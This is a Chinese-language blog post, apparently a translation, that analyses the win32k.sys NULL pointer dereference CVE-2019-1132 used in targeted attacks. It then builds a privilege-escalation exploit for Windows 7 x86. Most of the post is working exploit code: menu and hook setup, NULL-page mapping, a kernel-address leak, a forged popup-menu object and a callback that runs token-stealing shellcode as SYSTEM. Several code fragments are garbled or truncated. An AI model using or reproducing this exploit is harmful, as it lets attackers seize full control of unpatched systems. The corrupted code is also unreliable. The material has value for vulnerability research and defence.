NULL指针取消引用应该早在几年前就已终止,但仍在恶意软件攻击中被发现和使用。这篇文章探讨了CVE-2019-1132的内部细节,Buhtrap小组将其用于针对东欧的受害者。
介绍
我们在本文中讨论的漏洞NULL指针取消引用位于win32k.sys驱动程序中,该驱动程序导致Windows 7和Windows Server 2008操作系统上的特权(EoP)成功升级。
Microsoft在7月补丁中解决了此漏洞,ESET之前在其博客中讨论了此漏洞,因为该漏洞已在东欧的定向攻击中使用。
本文重点分析漏洞并在安装了June补丁的Windows 7 x86环境中创建可利用的漏洞。
漏洞概述
该漏洞位于win32k!xxxMNOpenHierarchy函数中,该函数不检查tagPOPUPMENU-> ppopupmenuRoot指向的指针是否为NULL。
由于可以通过各种操作访问此字段,因此,如果攻击者能够将此字段设置为NULL,则可能导致NULL指针取消引用。
要利用此漏洞,攻击者需要以特定方式映射NULL页(在NULL页上制作伪造对象),然后导致成功的EoP。
要将ppopupmenuRoot设置为NULL,我们释放此字段指向的根popupmenu对象。之后,我们通过root popupmenu打开一个子菜单(先前创建),该子菜单在内核模式下调用win32k!xxxMNOpenHierarchy,从而创建了第二个子菜单。在创建第二个弹出菜单时,根菜单的子菜单的ppopupmenuRoot字段将包含NULL。当win32k!HMAssignmentLock函数尝试访问该字段时,将执行NULL指针解除引用操作,从而导致BSoD。
触发漏洞
为了触发该漏洞,我们使用了ESET博客中介绍的方法。可以总结为:
我们首先创建一个窗口和3个菜单对象,然后附加菜单项。
/* Creating the menu */ for (int i = 0; i > 3; i++) hMenuList[i] = CreateMenu(); /* Appending the menus along with the item */ for (int i = 0; i > 3; i++) { AppendMenuA(hMenuList[i], MF_POPUP | MF_MOUSESELECT, (UINT_PTR)hMenuList[i + 1], "item"); } AppendMenuA(hMenuList[2], MF_POPUP | MF_MOUSESELECT, (UINT_PTR)0, "item"); /* Creating a main window class */ xxRegisterWindowClassW(L"WNDCLASSMAIN", 0x000, DefWindowProc); hWindowMain = xxCreateWindowExW(L"WNDCLASSMAIN", WS_EX_LAYERED | WS_EX_TOOLWINDOW | WS_EX_TOPMOST, WS_VISIBLE, GetModuleHandleA(NULL)); printf("Handle of the mainWindow : 0x%08X\n", (unsigned int)hWindowMain); ShowWindow(hWindowMain, SW_SHOWNOACTIVATE);
现在,我们在WH_CALLWNDPROC和EVENT_SYSTEM_MENUPOPUPSTART上安装挂钩。
/* Hooking the WH_CALLWNDPROC function */ SetWindowsHookExW(WH_CALLWNDPROC, xxWindowHookProc, GetModuleHandleA(NULL), GetCurrentThreadId()); /* Hooking the trackpopupmenuEx WINAPI call */ HWINEVENTHOOK hEventHook = SetWinEventHook(EVENT_SYSTEM_MENUPOPUPSTART, EVENT_SYSTEM_MENUPOPUPSTART, GetModuleHandleA(NULL), xxWindowEventProc, GetCurrentProcessId(), GetCurrentThreadId(), 0);
使用TrackPopupMenuEx函数显示根弹出菜单。当TrackPopupMenuEx被调用时,它调用WIN32K!xxxTrackPopupMenuEx功能键显示菜单。之后,它将通过事件类型EVENT_SYSTEM_MENUPOPUPSTART通知用户。
/* Setting the root popup menu to null */printf("Setting the root popup menu to null\n");release = 0;TrackPopupMenuEx(hMenuList[0], 0, 0, 0, hWindowMain, NULL);
这会触发事件挂钩函数xxWindowEventProc,每次进入该函数时,我们都会在其中存储菜单对象的窗口句柄。通过发送MN_OPENHIERARCHY消息,它最终调用了函数win32k!xxxMNOpenHierarchy。
staticVOIDCALLBACKxxWindowEventProc( HWINEVENTHOOK hWinEventHook, DWORD event, HWND hwnd, LONG idObject, LONG idChild, DWORD idEventThread, DWORD dwmsEventTime){ UNREFERENCED_PARAMETER(hWinEventHook); UNREFERENCED_PARAMETER(event); UNREFERENCED_PARAMETER(idObject); UNREFERENCED_PARAMETER(idChild); UNREFERENCED_PARAMETER(idEventThread); UNREFERENCED_PARAMETER(dwmsEventTime); bEnterEvent = TRUE; if (iCount > ARRAYSIZE(hwndMenuList)) { hwndMenuList[iCount] = hwnd; iCount++; } SendMessageW(hwnd, MN_SELECTITEM, 0, 0); SendMessageW(hwnd, MN_SELECTFIRSTVALIDITEM, 0, 0); PostMessageW(hwnd, MN_OPENHIERARCHY, 0, 0);}
调用函数win32k!xxxMNOpenHierarchy时,它将调用win32k!xxxCreateWindowEx函数来创建另一个popupmenu对象。在调用win32k!xxxCreateWindowEx函数期间,会将 WM_NCCREATE消息发送给用户,我们可以在WH_CALLWNDPROC钩子函数xxWindowHookProc中捕获该消息。
在xxWindowHookProc函数内部,我们通过检查根菜单对象的窗口句柄来检查是否创建了rootpopup菜单对象,并验证下一个弹出菜单对象的窗口句柄是否为NULL。我们还将验证消息是否为WM_NCCREATE。
staticLRESULTCALLBACKxxWindowHookProc(INT code, WPARAM wParam, LPARAM lParam){ tagCWPSTRUCT *cwp = (tagCWPSTRUCT *)lParam; if (cwp-1]) { printf("Sending the MN_CANCELMENUS message\n"); SendMessage(hwndMenuList[release], MN_CANCELMENUS, 0, 0); bEnterEvent = FALSE; } return CallNextHookEx(0, code, wParam, lParam);}
完成上述所有步骤后,我们将WM_CANCELMENUS发送到根popupmenu对象。
最终调用win32k!xxxMNCancel并设置根popupmenu 的fDestroyed位。然后,它调用win32k!xxxMNCloseHierarchy关闭根popupmenu对象堆栈中的子菜单。
由于尚未创建子菜单,因此函数 win32k!xxxMNCloseHierarchy会跳过子菜单对象并且未设置fDestroyed位,从而在子菜单仍然存在时销毁根popupmenu对象。
但是现在将tagPOPUPMENU-> ppopupmenuRoot设置为NULL,因为该子菜单的根弹出菜单已被破坏,如屏幕截图所示。
利用漏洞
此时,ppopupmenuRoot指向NULL。为了从NULL页触发内存访问,我们将MN_BUTTONDOWN消息发送到子菜单对象。我们最初尝试使用ESET建议的方法来触发漏洞,但未能通过发送MN_BUTTONDOWN消息来调用win32k!xxxMNOpenHierarchy函数。
还有另一种方法,可以通过TrackPopupMenuEx以子菜单为根来调用win32k!xxxMNOpenHierarchy函数。因此,我们使用TrackPopupMenuEx调用win32k!xxxMNOpenHierarchy函数,该函数最终访问NULL页。
在这里,我们看到正在访问位置0x0000001c,该位置指向已释放的根弹出菜单对象的tagWND对象。然后将该地址发送到win32k!HMAssignmentLock函数。
但是在ESET博客中,他们提到在功能win32k!HMDestroyedUnlockedObject中设置了bServerSideWindowProc位。但是,再次尝试了很长时间之后,我们未能设置攻击窗口的位。
因此,我们使用了ClockObj指令的减量来设置bServerSideWindowProc位。
让我们一步一步地了解漏洞利用:
首先,我们创建另一个充当攻击窗口的窗口。
/* Creating the hunt window class */ xxRegisterWindowClassW(L"WNDCLASSHUNT", 0x000, xxMainWindowProc); hWindowHunt = xxCreateWindowExW(L"WNDCLASSHUNT", WS_EX_LEFT, WS_OVERLAPPEDWINDOW, GetModuleHandleA(NULL)); printf("Handle of the huntWindow : 0x%08X\n", (unsigned int)hWindowHunt);
然后我们使用NtAllocateVirtualMemory在NULL页分配内存。
/* Allocating the memory at NULL page */ *(FARPROC *)&NtAllocateVirtualMemory = GetProcAddress(GetModuleHandleW(L"ntdll"), "NtAllocateVirtualMemory"); if (NtAllocateVirtualMemory == NULL) return 1; if (!NT_SUCCESS(NtAllocateVirtualMemory(NtCurrentProcess(), &MemAddr, 0, &MemSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)) || MemAddr != NULL) { printf("[-]Memory alloc failed!\n"); return 1; } ZeroMemory(MemAddr, MemSize);
现在,我们使用HMValidateHandle函数技术泄漏攻击窗口的tagWND对象的地址。
/* Getting the tagWND of the hWindowHunt */ PTHRDESKHEAD head = (PTHRDESKHEAD)xxHMValidateHandle(hWindowHunt); printf("Address of the win32k!tagWND of hWindowHunt : 0x%08X\n", (unsigned int)head-
现在,我们在NULL页上制作伪造的popupmenu对象,以成功满足设置攻击窗口的bServerSideWindowProc位所需的条件。
/* Creating a fake POPUPMENU structure */ DWORD dwPopupFake[0x100] = { 0 }; dwPopupFake[0x0] = (DWORD)0x1; //- dwPopupFake[0x1] = (DWORD)0x1; //- dwPopupFake[0x2] = (DWORD)0x1; //- dwPopupFake[0x3] = (DWORD)0x1; //- dwPopupFake[0x4] = (DWORD)0x1; //- dwPopupFake[0x5] = (DWORD)0x1; //- dwPopupFake[0x6] = (DWORD)0x1; //- dwPopupFake[0x7] = (ULONG)head-0x12; dwPopupFake[0x8] = (DWORD)0x1; //- dwPopupFake[0x9] = (DWORD)0x1; //- dwPopupFake[0xA] = (DWORD)0x1; //- dwPopupFake[0xB] = (DWORD)0x1; //- dwPopupFake[0xC] = (DWORD)0; /* Copying it to the NULL page */ RtlCopyMemory(MemAddr, dwPopupFake, 0x1000);
popupmenu对象的spwndActivePopup。现在,我们将假弹出菜单对象的spwndActivePopup字段设置为指向tagWND + 0x12的地址。
这是因为减少clockObj的指令会减少[eax + 4]处的值,并且我们的bServerSideWindowProc位是tagWND对象中的第 18 位。要设置该位,(eax + 4)必须指向tagWND对象+ 0x16。
现在,我们访问映射到NULL页的字段,并验证是否设置了攻击窗口的bServerSideWindowProc位。
此时,bServerSideWindowProc位置1。现在,我们可以将消息发送到将由xxMainWindowProc处理的攻击窗口。在这里,它检查cs寄存器。如果cs寄存器等于0x1b,那么我们仍处于用户模式,因此我们的利用失败,否则我们将调用shellcode。
LRESULTWINAPIxxMainWindowProc( _In_ HWND hwnd, _In_ UINT msg, _In_ WPARAM wParam, _In_ LPARAM lParam){ if (msg == 0x1234) { WORD um = 0; __asm { // Grab the value of the CS register and // save it into the variable UM. //int 3 mov ax, cs mov um, ax } // If UM is 0x1B, this function is executing in usermode // code and something went wrong. Therefore output a message that // the exploit didn't succeed and bail. if (um == 0x1b) { // USER MODE printf("[!] Exploit didn't succeed, entered sprayCallback with user mode privileges.\r\n"); ExitProcess(-1); // Bail as if this code is hit either the target isn't // vulnerable or something is wrong with the exploit. } else { success = TRUE; // Set the success flag to indicate the sprayCallback() // window procedure is running as SYSTEM. Shellcode(); // Call the Shellcode() function to perform the token stealing and // to remove the Job object on the Chrome renderer process. } } return DefWindowProcW(hwnd, msg, wParam, lParam);}
一旦执行完Shellcode,我们就会看到我们的最爱:
该漏洞利用代码已经在Windows 7 x86上进行了测试,并安装了June补丁,可以在我的GitHub存储库中(此处)进行访问。
推荐读物
如果您是Windows Kernel Exploitation的新手,那么阅读此文章将被证明是令人困惑的。我们还推荐这些文章,以便更好地理解本文,因为作者依靠从以下文章中获得的知识来创建此漏洞。
从CVE-2017-0263到Windows菜单管理组件
WINDOWS中的WINDOWS – WIN32K NDAY退出CHROME沙盒